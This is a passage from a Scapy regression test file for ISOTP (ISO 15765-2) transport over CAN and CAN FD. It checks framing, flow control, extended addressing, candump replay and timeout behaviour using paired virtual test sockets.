03 00" ), (0x241, "EA 21 06 07 08 09 0A 0B"), (0x241, "EA 22 0C 0D 0E 0F 10 11"), (0x241, "EA 23 12 13 14 15 16 17"), (0x641, "EA 30 03 00" ), (0x241, "EA 24 18 19 1A 1B 1C 1D"), (0x241, "EA 25 1E 1F 20 21 22 23"), (0x241, "EA 26 24 25 26 27 28" ), ] with TestSocket(CAN) as s, TestSocket(CAN) as tx_sock: s.pair(tx_sock) for f in test_frames: tx_sock.send(CAN(identifier=f[0], data=dhex(f[1]))) sniffed = sniff(opened_socket=s, session=ISOTPSession, timeout=1, count=1) assert sniffed[0]['ISOTP'].data == bytearray(range(1, 0x29)) assert sniffed[0]['ISOTP'].tx_id == 0x641 assert sniffed[0]['ISOTP'].ext_address == 0xEA assert sniffed[0]['ISOTP'].rx_id == 0x241 assert sniffed[0]['ISOTP'].rx_ext_address == 0xEA + ISOTPSoftSocket tests = CAN socket FD ~ not_pypy needs_root linux vcan_socket with ISOTPSoftSocket(iface0, tx_id=0x641, rx_id=0x241, fd=True) as s: assert s.impl.can_socket.fd == True = CAN socket non-FD ~ not_pypy needs_root linux vcan_socket with ISOTPSoftSocket(iface0, tx_id=0x641, rx_id=0x241) as s: assert s.impl.can_socket.fd == False = Single-frame receive with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: cans.pair(stim) stim.send(CAN(identifier=0x241, data=dhex("05 01 02 03 04 05"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") msg = pkts[0] assert msg.data == dhex("01 02 03 04 05") = Single-frame receive FD with TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s: pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62] data_str = "" data_str_offset = 0 cans.pair(stim) for size_to_send in pl_sizes_testings: if size_to_send > 7: data_str = "00 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 6 else: data_str = "{} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 2 stim.send(CANFD(identifier=0x241, data=dhex(data_str))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") msg = pkts[0] assert msg.data == dhex(data_str[data_str_offset:]) = Single-frame send with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: cans.pair(stim) s.send(ISOTP(dhex("01 02 03 04 05"))) pkts = stim.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") msg = pkts[0] assert msg.data == dhex("05 01 02 03 04 05") = Single-frame send FD with TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s: pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62] data_str = "" data_str_offset = 0 cans.pair(stim) for size_to_send in pl_sizes_testings: if size_to_send > 7: data_str = "00 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 6 else: data_str = "{} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 2 s.send(ISOTP(dhex(data_str[data_str_offset:]))) pkts = stim.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") msg = pkts[0] assert dhex(data_str) in msg.data = Two frame receive with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: cans.pair(stim) stim.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) pkts = stim.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") c = pkts[0] assert (c.data == dhex("30 00 00")) stim.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") msg = pkts[0] assert msg.data == dhex("01 02 03 04 05 06 07 08 09") = Two frame receive FD with TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s: cans.pair(stim) stim.send(CANFD(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06 07 08 09 0A 0B"))) pkts = stim.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") c = pkts[0] assert (c.data == dhex("30 00 00")) stim.send(CANFD(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") msg = pkts[0] assert msg.data == dhex("01 02 03 04 05 06 07 08 09") = 20000 bytes receive def test(): with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: cans.pair(stim) data = dhex("01 02 03 04 05") * 4000 cf = ISOTP(data, rx_id=0x241).fragment() ff = cf.pop(0) cs = stim.sniff(count=1, timeout=3, started_callback=lambda: stim.send(ff)) assert len(cs) c = cs[0] assert (c.data == dhex("30 00 00")) for f in cf: _ = stim.send(f) msgs = s.sniff(count=1, timeout=30) print(msgs) msg = msgs[0] assert msg.data == data test() = 20000 bytes send def test(): with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: cans.pair(stim) data = dhex("01 02 03 04 05")*4000 msg = ISOTP(data, rx_id=0x641) fragments = msg.fragment() ack = CAN(identifier=0x241, data=dhex("30 00 00")) ff = stim.sniff(timeout=1, count=1, started_callback=lambda:s.send(msg)) assert len(ff) == 1 cfs = stim.sniff(timeout=20, count=len(fragments) - 1, started_callback=lambda: stim.send(ack)) for fragment, cf in zip(fragments, ff + cfs): assert (bytes(fragment) == bytes(cf)) test() = 20000 bytes send FD def testfd(): with TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s: cans.pair(stim) data = dhex("01 02 03 04 05")*4006 msg = ISOTP(data, rx_id=0x641) fragments = msg.fragment(fd=True) ack = CANFD(identifier=0x241, data=dhex("30 00 00")) ff = stim.sniff(timeout=1, count=1, started_callback=lambda:s.send(msg)) assert len(ff) == 1 cfs = stim.sniff(timeout=20, count=len(fragments) - 1, started_callback=lambda: stim.send(ack)) for fragment, cf in zip(fragments, ff + cfs): print(bytes(fragment), bytes(cf)) assert (bytes(fragment) in bytes(cf)) testfd() = Close ISOTPSoftSocket with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: cans.pair(stim) s.close() s = None = Test on_recv function with single frame with ISOTPSoftSocket(TestSocket(CAN), tx_id=0x641, rx_id=0x241) as s: s.ins.on_recv(CAN(identifier=0x241, data=dhex("05 01 02 03 04 05"))) msg, ts = s.ins.rx_queue.recv() assert msg == dhex("01 02 03 04 05") = Test on_recv function with single frame FD with ISOTPSoftSocket(TestSocket(CANFD), tx_id=0x641, rx_id=0x241, fd=True) as s: pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62] data_str = "" data_str_offset = 0 for size_to_send in pl_sizes_testings: if size_to_send > 7: data_str = "00 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 6 else: data_str = "{} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 2 s.ins.on_recv(CANFD(identifier=0x241, data=dhex(data_str))) msg, ts = s.ins.rx_queue.recv() assert msg == dhex(data_str[data_str_offset:]) = Test on_recv function with empty frame with ISOTPSoftSocket(TestSocket(CAN), tx_id=0x641, rx_id=0x241) as s: s.ins.on_recv(CAN(identifier=0x241, data=b"")) assert s.ins.rx_queue.empty() = Test on_recv function with single frame and extended addressing with ISOTPSoftSocket(TestSocket(CAN), tx_id=0x641, rx_id=0x241, rx_ext_address=0xea) as s: cf = CAN(identifier=0x241, data=dhex("EA 05 01 02 03 04 05")) s.ins.on_recv(cf) msg, ts = s.ins.rx_queue.recv() assert msg == dhex("01 02 03 04 05") assert ts == cf.time = Test on_recv function with single frame and extended addressing FD with ISOTPSoftSocket(TestSocket(CANFD), tx_id=0x641, rx_id=0x241, rx_ext_address=0xea, fd=True) as s: pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62] data_str = "" data_str_offset = 0 for size_to_send in pl_sizes_testings: if size_to_send > 7: data_str = "EA 00 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 8 else: data_str = "EA {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(size_to_send)])) data_str_offset = 5 cf = CANFD(identifier=0x241, data=dhex(data_str)) s.ins.on_recv(cf) msg, ts = s.ins.rx_queue.recv() assert msg == dhex(data_str[data_str_offset:]) assert ts == cf.time = CF is sent when first frame is received cans = TestSocket(CAN) can_out = TestSocket(CAN) cans.pair(can_out) with ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s: s.ins.on_recv(CAN(identifier=0x241, data=dhex("10 20 01 02 03 04 05 06"))) can = can_out.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("30 00 00") cans.close() can_out.close() + Testing ISOTPSoftSocket with an actual CAN socket = Verify that packets are not lost if they arrive before the sniff() is called with TestSocket(CAN) as ss, TestSocket(CAN) as sr: ss.pair(sr) tx_func = lambda: ss.send(CAN(identifier=0x111, data=b"\x01\x23\x45\x67")) p = sr.sniff(count=1, timeout=0.2, started_callback=tx_func) assert len(p)==1 tx_func = lambda: ss.send(CAN(identifier=0x111, data=b"\x89\xab\xcd\xef")) p = sr.sniff(count=1, timeout=0.2, started_callback=tx_func) assert len(p)==1 = Send single frame ISOTP message, using send with TestSocket(CAN) as isocan, \ ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, \ TestSocket(CAN) as cans: cans.pair(isocan) can = cans.sniff(timeout=2, count=1, started_callback=lambda: s.send(ISOTP(data=dhex("01 02 03 04 05")))) assert can[0].identifier == 0x641 assert can[0].data == dhex("05 01 02 03 04 05") = Send many single frame ISOTP messages, using send with TestSocket(CAN) as isocan, \ ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, \ TestSocket(CAN) as cans: cans.pair(isocan) for i in range(100): data = dhex("01 02 03 04 05") + struct.pack("B", i) expected = struct.pack("B", len(data)) + data can = cans.sniff(timeout=4, count=1, started_callback=lambda: s.send(ISOTP(data=data))) assert can[0].identifier == 0x641 print(can[0].data, data) assert can[0].data == expected = Send two-frame ISOTP message, using send with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) can = cans.sniff(timeout=1, count=1, started_callback=lambda: s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08")))) assert can[0].identifier == 0x641 assert can[0].data == dhex("10 08 01 02 03 04 05 06") can = cans.sniff(timeout=1, count=1, started_callback=lambda: cans.send(CAN(identifier = 0x241, data=dhex("30 00 00")))) assert can[0].identifier == 0x641 assert can[0].data == dhex("21 07 08") = Send two-frame ISOTP message, using send FD with TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans: size_to_send = 100 max_pl_size = 62 data_str = "{}".format(" ".join(["%02X" % x for x in range(size_to_send)])) cans.pair(isocan) can = cans.sniff(timeout=1, count=1, started_callback=lambda: s.send(dhex(data_str))) assert can[0].identifier == 0x641 assert can[0].data == dhex("10 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(max_pl_size)]))) can = cans.sniff(timeout=1, count=1, started_callback=lambda: cans.send(CANFD(identifier = 0x241, data=dhex("30 00 00")))) assert can[0].identifier == 0x641 assert dhex("21 {}".format(" ".join(["%02X" % x for x in range(max_pl_size, size_to_send)]))) in can[0].data = Send single frame ISOTP message with TestSocket(CAN) as cans, TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s: cans.pair(isocan) s.send(ISOTP(data=dhex("01 02 03 04 05"))) can = cans.sniff(timeout=1, count=1) assert can[0].identifier == 0x641 assert can[0].data == dhex("05 01 02 03 04 05") = Send two-frame ISOTP message acks = TestSocket(CAN) acker_ready = threading.Event() def acker(): acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) can = can_pkt[0] acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.pair(acks) isocan.pair(acks) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("10 08 01 02 03 04 05 06") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x241 assert can.data == dhex("30 00 00") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("21 07 08") thread.join(15) acks.close() assert not thread.is_alive() = Send two-frame ISOTP message FD acks = TestSocket(CANFD) acker_ready = threading.Event() def acker(): acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) can = can_pkt[0] acks.send(CANFD(identifier = 0x241, data=dhex("30 00 00"))) thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) with TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans: size_to_send = 123 max_pl_size = 62 data_str = "{}".format(" ".join(["%02X" % x for x in range(size_to_send)])) cans.pair(isocan) cans.pair(acks) isocan.pair(acks) s.send(dhex(data_str)) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("10 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(max_pl_size)]))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x241 assert can.data == dhex("30 00 00") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert dhex("21 {}".format(" ".join(["%02X" % x for x in range(max_pl_size, size_to_send)]))) in can.data thread.join(15) acks.close() assert not thread.is_alive() = Send two-frame ISOTP message with bs acks = TestSocket(CAN) acker_ready = threading.Event() def acker(): acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) acks.send(CAN(identifier = 0x241, data=dhex("30 20 00"))) thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.pair(acks) isocan.pair(acks) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("10 08 01 02 03 04 05 06") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x241 assert can.data == dhex("30 20 00") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("21 07 08") thread.join(15) acks.close() assert not thread.is_alive() = Send two-frame ISOTP message with bs FD acks = TestSocket(CANFD) acker_ready = threading.Event() def acker(): acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) acks.send(CANFD(identifier = 0x241, data=dhex("30 20 00"))) thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) with TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans: size_to_send = 124 max_pl_size = 62 data_str = "{}".format(" ".join(["%02X" % x for x in range(size_to_send)])) cans.pair(isocan) cans.pair(acks) isocan.pair(acks) s.send(ISOTP(data=dhex(data_str))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("10 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(max_pl_size)]))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x241 assert can.data == dhex("30 20 00") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert dhex("21 {}".format(" ".join(["%02X" % x for x in range(max_pl_size, size_to_send)]))) in can.data thread.join(15) acks.close() assert not thread.is_alive() = Send two-frame ISOTP message with ST acks = TestSocket(CAN) acker_ready = threading.Event() def acker(): acker_ready.set() acks.sniff(timeout=1, count=1) acks.send(CAN(identifier = 0x241, data=dhex("30 00 10"))) thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.pair(acks) isocan.pair(acks) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("10 08 01 02 03 04 05 06") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x241 assert can.data == dhex("30 00 10") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("21 07 08") thread.join(15) acks.close() assert not thread.is_alive() = Send two-frame ISOTP message with ST FD acks = TestSocket(CANFD) acker_ready = threading.Event() def acker(): acker_ready.set() acks.sniff(timeout=1, count=1) acks.send(CANFD(identifier = 0x241, data=dhex("30 00 10"))) thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) with TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans: size_to_send = 124 max_pl_size = 62 data_str = "{}".format(" ".join(["%02X" % x for x in range(size_to_send)])) cans.pair(isocan) cans.pair(acks) isocan.pair(acks) s.send(dhex(data_str)) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert can.data == dhex("10 {} {}".format("%02X" % size_to_send, " ".join(["%02X" % x for x in range(max_pl_size)]))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x241 assert can.data == dhex("30 00 10") pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") can = pkts[0] assert can.identifier == 0x641 assert dhex("21 {}".format(" ".join(["%02X" % x for x in range(max_pl_size, size_to_send)]))) in can.data thread.join(15) acks.close() assert not thread.is_alive() = Receive a single frame ISOTP message with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier = 0x241, data = dhex("05 01 02 03 04 05"))) pkts = s.sniff(count=1, timeout=2) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") isotp = pkts[0] assert isotp.data == dhex("01 02 03 04 05") assert isotp.tx_id == 0x641 assert isotp.rx_id == 0x241 assert isotp.ext_address == None assert isotp.rx_ext_address == None = Receive a single frame ISOTP message, with extended addressing with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, ext_address=0xc0, rx_ext_address=0xea) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier = 0x241, data = dhex("EA 05 01 02 03 04 05"))) pkts = s.sniff(count=1, timeout=2) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") isotp = pkts[0] assert isotp.data == dhex("01 02 03 04 05") assert isotp.tx_id == 0x641 assert isotp.rx_id == 0x241 assert isotp.ext_address == 0xc0 assert isotp.rx_ext_address == 0xea = Receive frames from CandumpReader candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') with ISOTPSoftSocket(CandumpReader(candump_fd), tx_id=0x241, rx_id=0x541, listen_only=True) as s: pkts = s.sniff(timeout=2, count=6) assert len(pkts) == 6 if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") isotp = pkts[0] print(repr(isotp)) print(hex(isotp.tx_id)) print(hex(isotp.rx_id)) assert isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA") assert isotp.tx_id == 0x241 assert isotp.rx_id == 0x541 = Receive frames from CandumpReader with ISOTPSniffer without extended addressing candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') pkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession(use_ext_address=False), timeout=1) assert len(pkts) == 6 if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") isotp = pkts[0] assert isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA") assert (isotp.rx_id == 0x541) = Receive frames from CandumpReader with ISOTPSniffer * all flow control frames are detected as single frame with extended address candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') pkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") assert len(pkts) == 12 isotp = pkts[1] assert isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA") assert (isotp.rx_id == 0x541) isotp = pkts[0] assert isotp.data == dhex("") assert (isotp.rx_id == 0x241) = Receive frames from CandumpReader with ISOTPSniffer and count * all flow control frames are detected as single frame with extended address candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') pkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1, count=2) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") assert len(pkts) == 2 isotp = pkts[1] assert isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA") assert (isotp.rx_id == 0x541) isotp = pkts[0] assert isotp.data == dhex("") assert (isotp.rx_id == 0x241) = Receive a two-frame ISOTP message with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") isotp = pkts[0] assert isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11") = Check what happens when a CAN frame with wrong identifier gets received with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier = 0x141, data = dhex("05 01 02 03 04 05"))) assert s.ins.rx_queue.empty() + Testing ISOTPSoftSocket timeouts = Check if not sending the last CF will make the socket timeout with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier = 0x241, data = dhex("10 11 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 0A 0B 0C 0D"))) isotp = s.sniff(timeout=0.1) assert len(isotp) == 0 = Check if not sending the first CF will make the socket timeout with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier = 0x241, data = dhex("10 11 01 02 03 04 05 06"))) isotp = s.sniff(timeout=0.1) assert len(isotp) == 0 = Check if not sending the first FC will make the socket timeout # drain log_stream log_stream.getvalue() isotp = ISOTP(data=dhex("01 02 03 04 05 06 07 08 09 0A")) with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans: cans.pair(isocan) s.send(isotp) time.sleep(1.3) assert "TX state was reset due to timeout" in log_stream.getvalue() = Check if not sending the second FC will make the socket timeout # drain log_stream log_stream.getvalue() isotp = ISOTP(data=b"\xa5" * 120) cans = TestSocket(CAN) isocan = TestSocket(CAN) cans.pair(isocan) acker = AsyncSniffer(store=False, opened_socket=cans, prn=lambda x: cans.send(CAN(identifier = 0x241, data=dhex("30 04 00"))), count=1, timeout=1) acker.start() with ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s: s.send(isotp) time.sleep(1.3) acker.join(timeout=5) cans.close() isocan.close() assert "TX state was reset due to timeout" in log_stream.getvalue() = Check if reception of an overflow FC will make a send fail log_stream.getvalue() isotp = ISOTP(data=b"\xa5" * 120) cans = TestSocket(CAN) isocan = TestSocket(CAN) cans.pair(isocan) acker = AsyncSniffer(store=False, opened_socket=cans, prn=lambda x: cans.send( CAN(identifier = 0x241, data=dhex("32 00 00"))), count=1, timeout=1) acker.start() with ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s: s.send(isotp) time.sleep(1.3) acker.join(timeout=5) cans.close() isocan.close() assert "Overflow happened at the receiver side" in 